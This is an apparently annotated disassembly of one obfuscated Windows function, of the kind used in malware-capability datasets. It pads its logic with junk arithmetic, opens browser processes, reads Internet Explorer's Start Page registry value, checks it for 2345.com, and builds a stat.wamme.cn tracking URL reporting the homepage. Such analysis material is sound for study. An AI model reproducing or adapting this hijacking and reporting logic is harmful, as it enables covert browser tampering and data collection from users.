Function at 0x41bb00
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44560d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.0042af20
mov eax, dword [0x459190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub esi, ecx
mov ecx, dword [0x45781c]
add esi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul ecx, ecx, 0x1643
imul edx, edx, 0x10e6
sub esi, eax
add esi, edx
mov dword [str._r_____r____], esi
mov esi, dword [0x457834]
mov eax, 0xf00f00f1
imul esi
mov eax, dword [0x457818]
imul eax, eax, 0x2220
add edx, esi
sar edx, 0xd
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
sub ebx, ecx
mov ecx, dword [0x457820]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
add ebx, edx
mov ecx, edx
mov eax, 0xb6adc247
imul esi
add edx, esi
sar edx, 0xa
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
xor edi, edi
add ecx, ebx
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10f0], edi
mov dword [ebp - 4], edi
mov dword [0x457818], ecx
mov dword [ebp - 0x10e8], edi
lea ecx, [ebp - 0x10e8]
push ecx
mov byte [ebp - 4], 1
push 0x4482e8
push 0x17
push edi
push 0x44c8d8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x45782c]
mov ebx, dword [str._r_____r____]
mov edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov ecx, ebx
imul ecx, ecx, 0x1a74
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10ec], ecx
mov ecx, dword [0x457820]
mov eax, 0x77826bf5
imul ecx
mov eax, dword [ebp - 0x10ec]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [0x457818]
mov edx, ecx
imul edx, edx, 0x59b
add eax, edx
sub eax, dword [0x457834]
sub eax, 0x2220
test edi, edi
mov dword [0x457820], eax
jge 0x41bd01
mov edi, dword [0x457830]
imul ebx, ebx, 0x2234
imul ecx, ecx, 0x10e6
mov eax, 0x17eb125
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457828]
imul edx, edx, 0x59b
sub ebx, eax
add ecx, edi
add ecx, ebx
lea eax, [edx + ecx - 0x2220]
mov dword [0x457824], eax
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 0
je 0x41bcfa
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41dfc8
mov edx, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10e8]
lea edx, [ebp - 0x10fc]
push edx
mov dword [0x457828], esi
mov dword [ebp - 0x10fc], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x457820]
mov edi, dword [0x45782c]
mov eax, 0x9ad70599
imul edi, edi, 0x2220
imul ecx
add edx, ecx
sar edx, 0xc
add edi, edx
mov esi, edx
mov edx, dword [0x457830]
mov eax, ecx
imul edx, edx, 0xe4e
imul eax, eax, 0x1643
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45781c]
add esi, eax
add esi, edx
mov eax, 0xb6adc247
imul edi
add edx, edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10fc]
test eax, eax
mov dword [0x45782c], esi
je 0x41bce6
mov eax, 0x887d940b
imul edi
mov edi, dword [0x457828]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, esi
imul ebx, ebx, 0x2220
mov edx, edi
imul edx, edx, 0xe4e
sub eax, ebx
add eax, edx
mov edx, dword [0x457824]
imul edx, edx, 0x562
sub eax, edx
mov dword [0x457830], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x41bea9
mov ecx, dword [0x457834]
mov eax, 0x77c150d
imul edi
sar edx, 8
mov eax, edx
mov esi, edi
imul esi, esi, 0x2234
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xb7fe3405
imul edi
sub esi, ecx
mov ecx, dword [0x457818]
add edx, edi
imul ecx, ecx, 0x1568
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, 0x56b378
mov dword [0x457834], esi
call fcn.00410080
mov ecx, dword [0x457820]
mov esi, dword [0x45782c]
mov edi, dword [0x457834]
imul ecx, ecx, 0x114e
mov eax, 0x17eb125
imul edi, edi, 0x2220
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, edi
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
xor ecx, ecx
mov dword [0x457838], esi
mov dword [ebp - 0x1100], ecx
jmp 0x41bf00
cmp ecx, dword [ebp - 0x10fc]
jge 0x41df6b
mov edi, dword [0x457824]
imul esi, esi, 0x1685
mov eax, 0x77c150d
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x9ad70599
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov esi, dword [0x45781c]
mov eax, 0xb7fe3405
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x457830]
imul eax, eax, 0x10e6
add ebx, eax
mov dword [str._r_____r____], ebx
mov dword [ebp - 0x10d8], 0
mov eax, ecx
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d8]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, esi
imul ecx, ecx, 0x1a74
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
sub ecx, eax
mov eax, 0x77826bf5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub ecx, eax
add ecx, edx
mov edi, dword [0x457834]
sub ecx, edi
sub ecx, 0x2220
test ebx, ebx
mov dword [0x457820], ecx
jl 0x41c159
mov ebx, dword [0x45782c]
mov eax, 0x9ad70599
imul ebx, ebx, 0x2220
imul ecx
add edx, ecx
sar edx, 0xc
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, ecx
imul edx, edx, 0x1643
add eax, edx
mov edx, dword [0x457830]
mov ebx, dword [0x45781c]
imul edx, edx, 0xe4e
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0xb6adc247
imul dword [0x45781c]
add edx, ebx
mov ebx, dword [ebp - 0x10c8]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x45782c], ebx
mov dword [ebp - 0x10cc], 0
je 0x41c0e4
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x448340
push eax
call dword [ecx]
mov esi, dword [str._r_____r____]
mov edi, dword [0x457834]
mov ecx, dword [0x457820]
mov ebx, dword [0x457818]
imul ebx, ebx, 0x2220
mov eax, 0xf00f00f1
imul edi
add edx, edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457830]
imul edx, edx, 0x1643
add eax, ebx
sub eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x8f2b7b75
imul ecx
mov eax, dword [ebp - 0x10c8]
add edx, ecx
sar edx, 0xb
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0xb6adc247
imul edi
add edx, edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [0x457818], ecx
jne 0x41c176
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41df51
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41df51
mov ebx, dword [0x45782c]
imul ecx, ecx, 0x10e6
imul esi, esi, 0x2234
mov edi, dword [0x457828]
mov eax, 0x17eb125
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x457830]
mov edx, edi
imul edx, edx, 0x59b
sub esi, eax
add ecx, esi
lea ecx, [edx + ecx - 0x2220]
mov dword [0x457824], ecx
mov dword [ebp - 0x10e4], 0
imul ebx, ebx, 0x2220
imul edi, edi, 0xe4e
mov eax, 0x887d940b
imul ecx, ecx, 0x562
imul dword [0x45781c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, edi
sub eax, ecx
mov dword [0x457830], eax
mov eax, dword [ebp - 0x10cc]
mov ecx, dword [eax]
lea edx, [ebp - 0x10e4]
push edx
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
xor ebx, ebx
cmp eax, ebx
jge 0x41c25c
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41c22b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41c23f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41df51
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41df51
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
mov ecx, dword [0x457830]
imul ecx, ecx, 0x10e6
sar edx, 5
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
add eax, ecx
mov ecx, dword [ebp - 0x10e4]
sub eax, edx
add eax, 0x1123
cmp ecx, ebx
mov dword [0x45781c], eax
mov dword [ebp - 0x10d4], ebx
je 0x41c2dd
mov edx, dword [ecx]
lea eax, [ebp - 0x10d4]
push eax
push 0x448350
push ecx
call dword [edx]
mov ecx, dword [ebp - 0x10e4]
mov edi, dword [0x457838]
mov eax, 0xf883eaf3
imul dword [0x457824]
sar edx, 8
mov esi, edi
imul esi, esi, 0x2220
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [ebp - 0x10c8], eax
mov eax, 0x2d78bd59
imul edi
mov eax, dword [ebp - 0x10c8]
sar edx, 0xa
add eax, edx
mov esi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, eax
add esi, edx
mov eax, 0x7931d3bd
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
cmp dword [ebp - 0x10d4], ebx
mov byte [ebp - 4], 6
mov dword [0x457828], esi
jne 0x41c387
cmp ecx, ebx
mov byte [ebp - 4], 4
je 0x41c362
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41d22d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
jmp 0x41df45
push ebx
call fcn.0042aee7
sub eax, dword [0x56b5d0]
add esp, 4
cmp eax, 0x708
jge 0x41c622
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub esi, ecx
mov ecx, dword [0x45781c]
add esi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10cc]
add esi, ecx
lea ecx, [ebp - 0x1108]
push ecx
mov dword [str._r_____r____], esi
mov edx, dword [eax]
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x10ec]
push edx
push eax
mov dword [ebp - 0x10ec], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
mov ecx, dword [0x457830]
mov edi, dword [ebp - 0x10ec]
sar edx, 5
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x10e6
shr eax, 0x1f
add eax, esi
mov esi, dword [str._r_____r____]
add eax, edx
sub eax, esi
add eax, 0x1123
cmp edi, ebx
mov dword [0x45781c], eax
je 0x41d177
mov edx, dword [0x45782c]
imul esi, esi, 0x2234
mov eax, 0x17eb125
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457818]
sub esi, eax
imul edx, edx, 0x10e6
mov eax, dword [0x457828]
imul eax, eax, 0x59b
add edx, ecx
push edi
add edx, esi
push ebx
lea ecx, [eax + edx - 0x2220]
push 0x1f0fff
mov dword [0x457824], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x41c622
mov ecx, dword [0x457820]
mov edi, dword [0x45782c]
mov eax, 0x9ad70599
imul edi, edi, 0x2220
imul ecx
add edx, ecx
imul ecx, ecx, 0x1643
sar edx, 0xc
add edi, edx
mov eax, edx
mov edx, dword [0x457830]
shr eax, 0x1f
imul edx, edx, 0xe4e
add eax, edi
add eax, ecx
mov ecx, dword [0x45781c]
add eax, edx
mov edi, eax
mov eax, 0xb6adc247
imul ecx
add edx, ecx
mov cx, word [0x448d24]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x448d26]
sub edi, eax
mov dword [0x45782c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push ebx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x457828]
mov esi, dword [0x457834]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov edi, ecx
mov eax, edx
imul edi, edi, 0x2234
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x1568
sub edi, ecx
lea eax, [ebp - 0x2c4]
add edi, edx
push str.startup.exe
push eax
mov dword [0x457834], edi
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d1f1
mov ecx, dword [0x457828]
mov esi, dword [0x457834]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov edi, ecx
imul edi, edi, 0x2234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
mov eax, dword [ebp + 8]
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x1568
sub edi, ecx
mov ecx, dword [ebp - 0x10f0]
add edi, edx
inc ecx
cmp eax, ebx
mov dword [0x457834], edi
mov dword [ebp - 0x10f0], ecx
je 0x41dea0
push ecx
lea eax, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push eax
call fcn.00406a10
mov ecx, 0x56b378
call fcn.00405f60
test al, al
jne 0x41dea0
mov esi, dword [0x457824]
mov eax, 0x77c150d
imul esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov esi, dword [0x45781c]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457838]
sub ecx, eax
imul edx, edx, 0x1685
add ecx, edx
mov eax, 0xb7fe3405
imul esi
add edx, esi
mov esi, dword [0x45782c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457830]
sub ecx, eax
imul edx, edx, 0x10e6
add ecx, edx
mov eax, 0x9ad70599
imul esi
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x1a74
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
sub ecx, eax
mov eax, 0x77826bf5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub ecx, eax
mov eax, dword [0x457834]
add ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, 0x2220
lea edx, [ebp - 0x1104]
push edx
mov dword [0x457820], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x457820]
mov esi, dword [0x45782c]
mov eax, 0x9ad70599
imul esi, esi, 0x2220
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul ecx, ecx, 0x1643
imul eax, eax, 0xe4e
sar edx, 0xc
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x45781c]
add edi, eax
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x1104]
sub edi, ecx
push edx
mov dword [0x45782c], edi
call fcn.00420790
mov ecx, dword [0x457824]
mov dword [ebp - 0x10c8], eax
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub esi, ecx
mov ecx, dword [0x45781c]
add esi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d4]
add esi, ecx
lea ecx, [ebp - 0x110c]
push ecx
mov dword [str._r_____r____], esi
mov edx, dword [eax]
push eax
xor edi, edi
call dword [edx + 0x90]
mov ecx, dword [0x457838]
mov esi, eax
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x45781c]
mov dword [ebp - 0x10dc], eax
mov eax, 0x17eb125
imul ecx
mov eax, dword [ebp - 0x10dc]
sar edx, 5
add eax, edx
mov ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
shr ecx, 0x1f
add ecx, eax
mov eax, dword [str._r_____r____]
add ecx, edx
sub ecx, eax
add ecx, 0x1123
cmp esi, ebx
mov dword [0x45781c], ecx
jne 0x41c908
mov eax, dword [ebp - 0x110c]
push eax
call fcn.00420790
mov edi, eax
push ebx
call fcn.0042aee7
sub eax, dword [0x56b334]
add esp, 4
cmp eax, 5
jle 0x41d75f
test edi, edi
je 0x41c942
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c930
sub eax, edx
cmp eax, 5
ja 0x41d75f
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov edi, dword [0x457830]
imul esi, esi, 0x2234
mov eax, 0x17eb125
imul ecx
mov eax, dword [0x457828]
sar edx, 5
imul eax, eax, 0x59b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x10e6
sub esi, ecx
add edx, edi
add edx, esi
lea ecx, [eax + edx - 0x2220]
mov dword [0x457824], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c9a0
lea edx, [ebp - 0x1c4]
push edx
call fcn.00420630
mov ecx, dword [0x45782c]
mov dword [ebp - 0x10d0], eax
mov esi, dword [0x457834]
mov eax, 0x17eb125
imul esi, esi, 0x2220
imul ecx
mov ecx, dword [0x457820]
sar edx, 5
imul ecx, ecx, 0x114e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x448d08]
sub ebx, eax
mov eax, dword [0x448d0c]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x448d10]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x448d14]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45781c]
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
mov dword [0x457838], ebx
imul ebx, ebx, 0x1685
imul ecx, ecx, 0x10e6
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
mov dword [ebp - 0x10f4], 0
mov dword [str._r_____r____], esi
lea edx, [ebp - 0x10f4]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x40]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41cdac
mov edx, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ecx, dword [0x457818]
mov edi, dword [0x457830]
imul ecx, ecx, 0x2220
mov dword [0x457828], esi
mov esi, dword [0x457834]
mov eax, 0xf00f00f1
imul esi
add edx, esi
sar edx, 0xd
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, edi
imul edi, edi, 0xe4e
imul edx, edx, 0x1643
add ebx, ecx
mov ecx, dword [0x457820]
sub ebx, edx
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xb6adc247
imul esi
add edx, esi
mov esi, dword [0x45782c]
sar edx, 0xa
imul esi, esi, 0x2220
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
imul ecx, ecx, 0x1643
mov dword [0x457818], ebx
sar edx, 0xc
mov ebx, edx
shr ebx, 0x1f
add esi, edx
add ebx, esi
add ebx, ecx
mov dword [ebp - 0x10dc], 0x104
add ebx, edi
mov eax, 0xb6adc247
mov ecx, dword [0x45781c]
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x10dc]
push edx
mov edx, dword [ebp - 0x10f4]
sub ebx, ecx
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x10e0]
push ecx
push 0
push str.Start_Page
mov esi, 1
push edx
mov dword [0x45782c], ebx
mov dword [ebp - 0x10e0], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41cdac
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
mov ebx, dword [str._r_____r____]
mov eax, dword [0x56b658]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x457830]
mov edx, edi
imul edx, edx, 0x10e6
add ecx, edx
sub ecx, ebx
add ecx, 0x1123
test eax, eax
mov dword [0x45781c], ecx
jne 0x41cdb8
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41cd0d
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41cdac
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub edi, ecx
mov ecx, dword [0x45781c]
add edi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [ebp - 0x144]
push edx
sub edi, eax
add edi, ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x55a128
mov dword [str._r_____r____], edi
mov dword [0x56b658], esi
call fcn.0042a8b1
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x457830]
mov ecx, dword [0x45781c]
mov esi, dword [0x457820]
imul edi, edi, 0xe4e
mov ebx, dword [0x45782c]
mov eax, 0x9ad70599
imul ebx, ebx, 0x2220
imul esi
add edx, esi
imul esi, esi, 0x1643
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
add eax, edi
mov ebx, eax
mov eax, 0xb6adc247
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10f4]
